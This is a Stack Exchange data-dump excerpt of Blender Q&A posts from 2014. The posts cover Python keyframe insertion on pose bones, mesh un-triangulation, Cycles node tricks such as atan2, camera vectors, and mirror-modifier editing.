  <row Id="13725" PostTypeId="1" AcceptedAnswerId="13729" CreationDate="2014-07-03T09:39:32.233" Score="0" ViewCount="664" Body="&lt;pre&gt;&lt;code&gt;def testAnimation():&#xA;&#xA;  scn = bpy.context.scene&#xA;  arm = bpy.data.armatures[&quot;Rig&quot;]&#xA;  rigobj = bpy.data.objects[&quot;Rig&quot;]&#xA;  scn.objects.active = rigobj&#xA;  rigobj.select = True&#xA;&#xA;  bpy.ops.object.mode_set(mode = 'POSE')&#xA;&#xA;  boneSelect = bpy.context.object.data.bones['RThigh']&#xA;  boneSelect.select = True&#xA;&#xA;  bpy.ops.transform.rotate(value=(0), axis=(1.0,1.0,1.0))&#xA;  boneSelect.keyframe_insert(data_path = &quot;location&quot;, frame = 0.0)&#xA;&#xA;  bpy.ops.transform.rotate(value=(math.pi*0.5), axis=(6.0,80.0,40.0))&#xA;  boneSelect.keyframe_insert(data_path = &quot;location&quot;, frame = 100.0)&#xA;&#xA;  bpy.ops.transform.rotate(value=(math.pi*0.5), axis=(1.0,0.0,0.0))&#xA;  boneSelect.keyframe_insert(data_path = &quot;location&quot;, frame = 200.0)&#xA;&#xA;&#xA;  bpy.ops.object.mode_set(mode='OBJECT')&#xA;  scn.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried placing many variables in data_path, but it comes up with a TypeError. What should I place in my data_path for it to take the new transformation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time. &lt;/p&gt;&#xA;" OwnerUserId="4970" LastActivityDate="2014-07-03T09:57:29.533" Title="How to resolve data_path when inserting keyframe in my situation?" Tags="&lt;animation&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13727" PostTypeId="1" AcceptedAnswerId="13728" CreationDate="2014-07-03T09:54:57.553" Score="14" ViewCount="33991" Body="&lt;p&gt;I know that you can triangulate a selected portion of a mesh in &lt;em&gt;Edit Mode&lt;/em&gt; by hitting &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;. This converts all quads and n-gons into tris. How how can this be reversed, combining coplanar triangles into quads and n-gons?&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2020-05-27T11:32:02.560" Title="How do you un-triangulate a mesh?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13728" PostTypeId="2" ParentId="13727" CreationDate="2014-07-03T09:54:57.553" Score="19" Body="&lt;p&gt;You can untriangulate the selected portion of a mesh by hitting &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;. This will only create quads so some manual cleanup may be necessary if you need n-gons. You can do this by selecting the leftover edges and hitting &lt;kbd&gt;X&lt;/kbd&gt; and clicking &lt;em&gt;Dissolve Edges&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2014-07-03T11:50:19.383" LastActivityDate="2014-07-03T11:50:19.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13729" PostTypeId="2" ParentId="13725" CreationDate="2014-07-03T09:57:29.533" Score="0" Body="&lt;p&gt;You need &lt;code&gt;.pose&lt;/code&gt; in your path, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;Rig&quot;].pose.bones['RThigh'].keyframe_insert(data_path='location')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is because the Edit bones and the Pose bones have separate data while sharing some common attributes.&lt;/p&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2014-07-03T09:57:29.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13730" PostTypeId="2" ParentId="13724" CreationDate="2014-07-03T10:23:03.417" Score="1" Body="&lt;p&gt;Not a real answer, but more of a workaround : I manually merged the meshes by fiddling with the vertices arrays. So instead of creating 3000 meshes, I create only 1. Works in my use-case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it can help someone else, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lAllVertices = []&#xA;lAllTriangles = []&#xA;&#xA;for fileToParse in allFilesToParse:&#xA;    lVertices, lTriangles = ParsePolygonalRep(fileToParse)&#xA;&#xA;    # Before extending lAllTriangles, fiddle with the indices&#xA;    lCurrentIndexCount = len(lAllVertices)&#xA;    lTriangles = [(x+lCurrentIndexCount,y+lCurrentIndexCount,z+lCurrentIndexCount) for x,y,z in lTriangles]&#xA;&#xA;    lAllVertices.extend(lVertices)&#xA;    lAllTriangles.extend(lTriangles)&#xA;&#xA;&#xA;lMesh = bpy.data.meshes.new(lMeshName)&#xA;lMesh.from_pydata(lAllVertices,[],lAllTriangles)&#xA;ob = bpy.data.objects.new(&quot;tmp&quot;, lMesh)&#xA;bpy.context.scene.objects.link(ob)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3461" LastActivityDate="2014-07-03T10:23:03.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13731" PostTypeId="1" AcceptedAnswerId="13733" CreationDate="2014-07-03T10:29:57.520" Score="12" ViewCount="4403" Body="&lt;p&gt;I somehow managed to flip the &lt;kbd&gt;T&lt;/kbd&gt; &lt;em&gt;Tool Shelf&lt;/em&gt; panel from the left side of the 3D viewport to the right side so it sits next to the &lt;kbd&gt;N&lt;/kbd&gt; &lt;em&gt;Properties&lt;/em&gt; panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How did I manage to do this and how do I move it back?&lt;/p&gt;&#xA;" OwnerUserId="5063" LastEditorUserId="599" LastEditDate="2014-07-03T20:01:47.627" LastActivityDate="2014-07-03T20:01:47.627" Title="Move the tool shelf panel to the other side?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13732" PostTypeId="1" AcceptedAnswerId="13734" CreationDate="2014-07-03T11:06:24.027" Score="3" ViewCount="240" Body="&lt;p&gt;I have a .obj mesh loaded with given UV coordinates. I'd like to color the mesh using its UV coordinates, similarly to &lt;a href=&quot;http://en.wikipedia.org/wiki/Riemann_surface#mediaviewer/File%3aRiemann_sqrt.jpg&quot; rel=&quot;nofollow&quot;&gt;this image&lt;/a&gt;. I think the correct way is to first compute a scalar out of the uv coordinates, something like &lt;code&gt;u*v&lt;/code&gt;, and then connect that scalar to the hue value of a HSV node. Thing is, I don't know which module can I use to take the UV Map's output and turn it into a scalar. &lt;/p&gt;&#xA;" OwnerUserId="5022" LastEditorUserId="5022" LastEditDate="2014-07-03T11:19:04.647" LastActivityDate="2014-07-03T12:29:40.913" Title="Computing a scalar from UV coordinates in Cycles nodes" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13733" PostTypeId="2" ParentId="13731" CreationDate="2014-07-03T11:37:34.980" Score="15" Body="&lt;p&gt;Move the mouse over the Tool Shelf and press &lt;kbd&gt;F5&lt;/kbd&gt;. This can also be done with the Properties sidebar and headers.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="599" LastEditDate="2014-07-03T20:01:00.720" LastActivityDate="2014-07-03T20:01:00.720" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13734" PostTypeId="2" ParentId="13732" CreationDate="2014-07-03T12:29:40.913" Score="5" Body="&lt;p&gt;You can get the UV coordinates from a Texture Coordinates or from an Attribute Node, separate the three components of the vector using a Separate RGB node, and use this to map colors to your BSDF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IEFPJ.jpg&quot; alt=&quot;Colors from UVs node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dfQDM.jpg&quot; alt=&quot;Colors from UVs result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2014-07-03T12:29:40.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13735" PostTypeId="2" ParentId="13727" CreationDate="2014-07-03T13:10:21.003" Score="9" Body="&lt;p&gt;You can use the decimate modifier using the &lt;code&gt;planar&lt;/code&gt; option and apply it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UGrcU.png&quot; alt=&quot;decimate modifier&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-07-03T13:10:21.003" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13736" PostTypeId="1" CreationDate="2014-07-03T15:10:04.330" Score="4" ViewCount="885" Body="&lt;p&gt;I am creating particle systems using python.  I'd like to be able to comb the hair using python (iterate through the control hairs and set their control points).  What are the APIs for doing this?&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="599" LastEditDate="2014-07-03T19:58:41.107" LastActivityDate="2016-10-05T06:50:35.810" Title="How do I comb hair in python?" Tags="&lt;python&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13738" PostTypeId="1" AcceptedAnswerId="13739" CreationDate="2014-07-03T17:06:36.100" Score="4" ViewCount="4378" Body="&lt;p&gt;I'm trying to implement a prototype for a custom render engine using blender as content creation tool. One remaining questions is: &lt;em&gt;How can we calculate the direction and up vector of the camera by its actual position and rotation properly?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2019-12-14T13:07:15.653" LastActivityDate="2019-12-14T13:07:15.653" Title="How to calculate the direction and up vector of a camera?" Tags="&lt;python&gt;&lt;camera&gt;&lt;mathematics&gt;&lt;matrix&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="13739" PostTypeId="2" ParentId="13738" CreationDate="2014-07-03T17:45:55.103" Score="9" Body="&lt;p&gt;&lt;strong&gt;2.8x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;cam = bpy.data.objects['Camera']&#xA;up = cam.matrix_world.to_quaternion() @ Vector((0.0, 1.0, 0.0))&#xA;cam_direction = cam.matrix_world.to_quaternion() @ Vector((0.0, 0.0, -1.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.7x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;cam = bpy.data.objects['Camera']&#xA;up = cam.matrix_world.to_quaternion() * Vector((0.0, 1.0, 0.0))&#xA;cam_direction = cam.matrix_world.to_quaternion() * Vector((0.0, 0.0, -1.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vabca.png&quot; alt=&quot;cam coordinates&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="3710" LastEditDate="2019-12-14T12:51:42.417" LastActivityDate="2019-12-14T12:51:42.417" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13740" PostTypeId="1" AcceptedAnswerId="13765" CreationDate="2014-07-03T18:46:32.643" Score="3" ViewCount="1050" Body="&lt;p&gt;I want to use python to create a series of strips and group them into a meta-strip.  I have noticed there are several new_ methods on scene.sequence_editor.sequences such as new_clip(), new_effect(), new_image(), new_mask(), new_movie(), new_scene(), new_sound() but there is not one for the meta-strip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the proper API to use to create a meta strip from several other strips?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def make_meta(scn, strip_list):&#xA;    # magic goes here&#xA;&#xA;strip_list = make_parts(scn)&#xA;make_meta(scn, strip_list)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastEditorUserId="599" LastEditDate="2014-07-03T19:57:07.520" LastActivityDate="2014-07-04T19:13:16.180" Title="how do you create a meta-strip (group of strips) in the VSE using python?" Tags="&lt;python&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13742" PostTypeId="1" CreationDate="2014-07-03T19:32:18.977" Score="3" ViewCount="2077" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ecB1q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;In the picture above you can see two staircase. The top is modeled with 32 triangles to cleanly fill the gap beneath it. The lower is modeled with 2 triangles that are disconnected from the steps above it and serve to only fill the hole. When having a low polygon count is a requirement is there any reason other then not having clean topology to not create your models like the lower example?&lt;/p&gt;&#xA;" OwnerUserId="5072" LastEditorUserId="2217" LastEditDate="2014-07-03T21:54:47.227" LastActivityDate="2014-11-28T15:06:27.500" Title="Low polygon modeling vs good topology" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13743" PostTypeId="1" CreationDate="2014-07-03T19:34:47.917" Score="1" ViewCount="89" Body="&lt;p&gt;I've got a &quot;flubber&quot; like character model. I'm trying to animate the model along a path and add a playful rotation of the model at certain points along the path. I've successfully animated the character along the path using the 2 most common methods (a) parenting method (b) follow path constraint. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally when the model descends at a point I would like to have a 360 degree spin, but Blender doesn't retain the keyframes I've placed. Is there solution for this?&lt;/p&gt;&#xA;" OwnerUserId="5071" LastEditorUserId="2217" LastEditDate="2014-10-03T00:00:18.123" LastActivityDate="2014-10-03T00:00:18.123" Title="Animating along a path with some rotation?" Tags="&lt;animation&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="8" ClosedDate="2014-10-02T23:46:21.263" ContentLicense="CC BY-SA 3.0" />
  <row Id="13744" PostTypeId="2" ParentId="5311" CreationDate="2014-07-03T19:40:31.730" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The OP originally posted this in their question.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If it happened to you too and you were looking for any solution, I solved in this way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select mesh in edit-mode;&lt;/li&gt;&#xA;&lt;li&gt;in the bar &quot;Mesh tools&quot; select the voice &quot;Remove Doubles&quot; (that remove duplicate vertex).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=IZPqxADetWE&quot;&gt;Here&lt;/a&gt; there's a video that explain the procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to solve the problem would be add a modifier to the mesh:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Decimate&quot; modifier.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="72" LastActivityDate="2014-07-03T19:40:31.730" CommentCount="1" CommunityOwnedDate="2014-07-03T19:40:31.730" ContentLicense="CC BY-SA 3.0" />
  <row Id="13745" PostTypeId="2" ParentId="13742" CreationDate="2014-07-03T22:58:29.253" Score="1" Body="&lt;p&gt;If you care about the real time performance of your model, then forget topology and focus on removing every single unwanted face(poly). You may, when modeling keep good topology in order to expedite and simplify the process. At the end you can go back and remove the remaining extraneous faces before moving onto UV unwrapping and texturing. That is purely a matter of preference. If you don't care about the real time performance, then by all means focus on good topology. &lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-07-03T22:58:29.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13746" PostTypeId="1" AcceptedAnswerId="13751" CreationDate="2014-07-03T23:08:28.353" Score="8" ViewCount="1890" Body="&lt;p&gt;The Cycle's math node has an &quot;Inverse tangent&quot; option. This function however cannot discriminate between two opposite points on the circle, as they have the same tangent. Usually, this is solved with a function called &lt;a href=&quot;https://en.wikipedia.org/wiki/Atan2&quot;&gt;atan2&lt;/a&gt;, which receives two inputs, the x and y of the vector, and returns the angle. Can I construct something similar in Cycle's nodes?&lt;/p&gt;&#xA;" OwnerUserId="5022" LastEditorUserId="1112" LastEditDate="2014-07-03T23:15:34.377" LastActivityDate="2018-07-24T21:36:49.930" Title="atan2 equivalent in Cycles nodes?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13747" PostTypeId="1" CreationDate="2014-07-04T02:20:00.213" Score="0" ViewCount="1404" Body="&lt;p&gt;Background: I am trying to do a animation of the deformation of a thin sheet, that has its motion at each point that is modeled as a sin wave (something like z = A*sin(freq*t + phi), where A and phi are the amplitude and phase offset of each point, and t is time.  Much like water wave simulation, but I do need to be able to set each point amplitude and phase precisely.  I modelled the surface as your standard grid, but with two planes so it is a sheet.  I then added an armature with a bone for each point ( I tried shapekeys, but bones seemed to be easier), and also added a driver for each pose bone. I can access the drivers through Python with code like the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.data.objects['Armature']   # the armature my model is &#xA;drivers = obj.animation_data.drivers    &#xA;for d in drivers:&#xA;    d.driver.expression = &quot;%f *sin(frame / %f + %f)&quot; % (amp, frame_div, phi)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, then problem I have no idea which driver applies to which pose bone. The driver data structure seems to give no indication which bone it is driving.  I assumed the order in which I added the drivers is the same as the order of the bones, and this cam close but some seemed off.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the basic problem is, how do you know which driver applies to which pose bone, in Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, is there a better way to do what I am trying to accomplish, without using bones/drivers? &lt;/p&gt;&#xA;" OwnerUserId="5074" LastEditorUserId="5074" LastEditDate="2014-07-04T02:26:41.210" LastActivityDate="2014-11-01T20:05:04.033" Title="pose bone drivers through python" Tags="&lt;python&gt;&lt;armature&gt;&lt;drivers&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13748" PostTypeId="1" AcceptedAnswerId="13754" CreationDate="2014-07-04T03:56:14.100" Score="3" ViewCount="716" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KaAcS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code for creating the animation if necessary &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def testAnimation():&#xA;&#xA;scn = bpy.context.scene&#xA;arm = bpy.data.armatures[&quot;Rig&quot;]&#xA;rigobj = bpy.data.objects[&quot;Rig&quot;]&#xA;scn.objects.active = rigobj&#xA;rigobj.select = True&#xA;&#xA;bpy.ops.object.mode_set(mode = 'POSE')&#xA;&#xA;&#xA;boneSelect = bpy.context.object.data.bones['LBicep']&#xA;boneSelect.select = True&#xA;&#xA;bpy.ops.transform.rotate(value=(0), axis=(1.0,1.0,1.0))&#xA;bpy.data.objects[&quot;Rig&quot;].pose.bones['LBicep'].keyframe_insert(data_path='rotation_quaternion', frame = 0.0, group = &quot;LBicep&quot;)&#xA;&#xA;bpy.ops.transform.rotate(value=(math.pi*0.5), axis=(1.0,1.0,1.0))&#xA;bpy.data.objects[&quot;Rig&quot;].pose.bones['LBicep'].keyframe_insert(data_path='rotation_quaternion', frame = 100.0, group = &quot;LBicep&quot;)&#xA;&#xA;bpy.ops.transform.rotate(value=(math.pi*0.5), axis=(1.0,1.0,1.0))&#xA;bpy.data.objects[&quot;Rig&quot;].pose.bones['LBicep'].keyframe_insert(data_path='rotation_quaternion', frame = 200.0, group = &quot;LBicep&quot;)&#xA;&#xA;boneSelect.select = False&#xA;boneSelect = bpy.context.object.data.bones['LThigh']&#xA;boneSelect.select = True&#xA;&#xA;bpy.ops.transform.rotate(value=(0), axis=(1.0,1.0,1.0))&#xA;bpy.data.objects[&quot;Rig&quot;].pose.bones['LThigh'].keyframe_insert(data_path='rotation_quaternion', frame = 0.0, group = &quot;LThigh&quot;)&#xA;&#xA;bpy.ops.transform.rotate(value=(math.pi*0.5), axis=(1.0,1.0,1.0))&#xA;bpy.data.objects[&quot;Rig&quot;].pose.bones['LThigh'].keyframe_insert(data_path='rotation_quaternion', frame = 150.0, group = &quot;LThigh&quot;)&#xA;&#xA;boneSelect.select = False&#xA;boneSelect = bpy.context.object.data.bones['RThigh']&#xA;boneSelect.select = True&#xA;&#xA;bpy.ops.transform.translate(value=(0,0,0))&#xA;bpy.data.objects[&quot;Rig&quot;].pose.bones['RThigh'].keyframe_insert(data_path='location', frame = 0.0, group = &quot;RThigh&quot;)&#xA;&#xA;bpy.ops.transform.translate(value=(0,10,0))&#xA;bpy.data.objects[&quot;Rig&quot;].pose.bones['RThigh'].keyframe_insert(data_path='location', frame = 300.0, group = &quot;RThigh&quot;)&#xA;&#xA;bpy.ops.transform.translate(value=(0,-10,0))&#xA;bpy.data.objects[&quot;Rig&quot;].pose.bones['RThigh'].keyframe_insert(data_path='location', frame = 700.0, group = &quot;RThigh&quot;)&#xA;&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;scn.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4970" LastEditorUserId="1112" LastEditDate="2014-07-04T09:25:13.093" LastActivityDate="2014-07-04T14:03:30.163" Title="How do I change the name of the default action created when inserting keyframe?" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13749" PostTypeId="1" AcceptedAnswerId="13750" CreationDate="2014-07-04T08:30:39.813" Score="3" ViewCount="5831" Body="&lt;p&gt;So using the mirror modifier, I understand I manipulate the components of my object in edit mode. This gets reflected to the mirrored object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is if there is an option to use the mirrored side to edit if I need to, say in another view for example I may only have a background ref image that suits that side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KZJhy.gif&quot; alt=&quot;mirror&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2014-07-04T08:41:59.437" Title="How to flip the mirror modifier? So I may edit the mirrored side" Tags="&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13750" PostTypeId="2" ParentId="13749" CreationDate="2014-07-04T08:36:21.487" Score="2" Body="&lt;p&gt;You can have the mirror modifier allow editing of both sides in edit mode by clicking the triangle icon in the modifier:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9sh50.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, moving the mirrored side may be confusing, as it will always behave as if you are editing the corresponding selection on the non-mirrored side.&lt;/p&gt;&#xA;&lt;h1&gt;Flipping the model manually&lt;/h1&gt;&#xA;&lt;p&gt;There a few was to do this, but the fastest way I know of is pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; (or Y or Z, depending on your mirror axis) in object mode, making sure the pivot point is at the same spot as the mirror point.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-04T08:41:59.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13751" PostTypeId="2" ParentId="13746" CreationDate="2014-07-04T09:11:06.130" Score="7" Body="&lt;p&gt;&lt;strong&gt;EDIT July 2018&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Blender 2.8 or a recent build of 2.79, the math node now has the atan2 operation since &lt;a href=&quot;https://developer.blender.org/rB68627626854c27c2135cab72b48b648cb638c8cb&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt; by Lukas Stockner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TFCjQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TFCjQ.png&quot; alt=&quot;Blender 2.8 Artan2 node&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is in no way the most efficient way of doing it, but just a reminder that knowing a bit of math, you can painstakingly craft functions using NodeGroups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9FnE3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9FnE3.jpg&quot; alt=&quot;arctan2 nodetree&quot;&gt;&lt;/a&gt;&#xA;Things to know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Maximum Math node acts as an OR boolean operation.&lt;/li&gt;&#xA;&lt;li&gt;The Minimum Math node acts as an AND boolean operation.&lt;/li&gt;&#xA;&lt;li&gt;The Substract Math node acts as a NOT boolean operation with 1 as first input and your value as second.&lt;/li&gt;&#xA;&lt;li&gt;The Mix Colors node acts as a switch with a boolean as first input, which returns second input if condition == False, or third input if condition == True.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Atan2&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Atan2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/De_Morgan%27s_law&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/De_Morgan%27s_law&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4979" LastEditorUserId="4979" LastEditDate="2018-07-24T21:36:49.930" LastActivityDate="2018-07-24T21:36:49.930" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="13752" PostTypeId="1" CreationDate="2014-07-04T13:18:55.193" Score="5" ViewCount="837" Body="&lt;p&gt;Is it possible to &lt;em&gt;associate&lt;/em&gt; Blender (in Windows 7 and later) to &lt;strong&gt;open files as it would be done via Import&lt;/strong&gt;. I often import files in .dae or .fbx format to Blender and I would like to import them simply by opening the file in Windows explorer. Is that possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I simply associate that file with Blender, it opens Blender in a default state with the cube.&lt;/p&gt;&#xA;" OwnerUserId="5076" LastActivityDate="2014-07-04T14:11:40.943" Title="Associate Blender with file import in other format than .blend" Tags="&lt;import&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13753" PostTypeId="2" ParentId="13667" CreationDate="2014-07-04T13:57:28.977" Score="1" Body="&lt;p&gt;This is happening because you may have a modifier on the object that does not affect the mesh during edit mode, but the changes are shown in object mode. &lt;/p&gt;&#xA;" OwnerUserId="3305" LastActivityDate="2014-07-04T13:57:28.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13754" PostTypeId="2" ParentId="13748" CreationDate="2014-07-04T14:03:30.163" Score="3" Body="&lt;p&gt;&lt;code&gt;keyframe_insert()&lt;/code&gt; creates &lt;code&gt;animation_data&lt;/code&gt; and an &lt;code&gt;action&lt;/code&gt; if necessary, and makes it the new action of the active object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you can simply access your object's action and change its name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;Rig&quot;].animation_data.action.name = &quot;foobar&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you shouldn't do this before any call to &lt;code&gt;keyframe_insert()&lt;/code&gt;, as it would error out if there's either no &lt;code&gt;animation_data&lt;/code&gt; or no &lt;code&gt;action&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer to this question to learn about other approaches for animating things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7358/python-performance-with-blender-operators&quot;&gt;Python performance with Blender operators&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-07-04T14:03:30.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
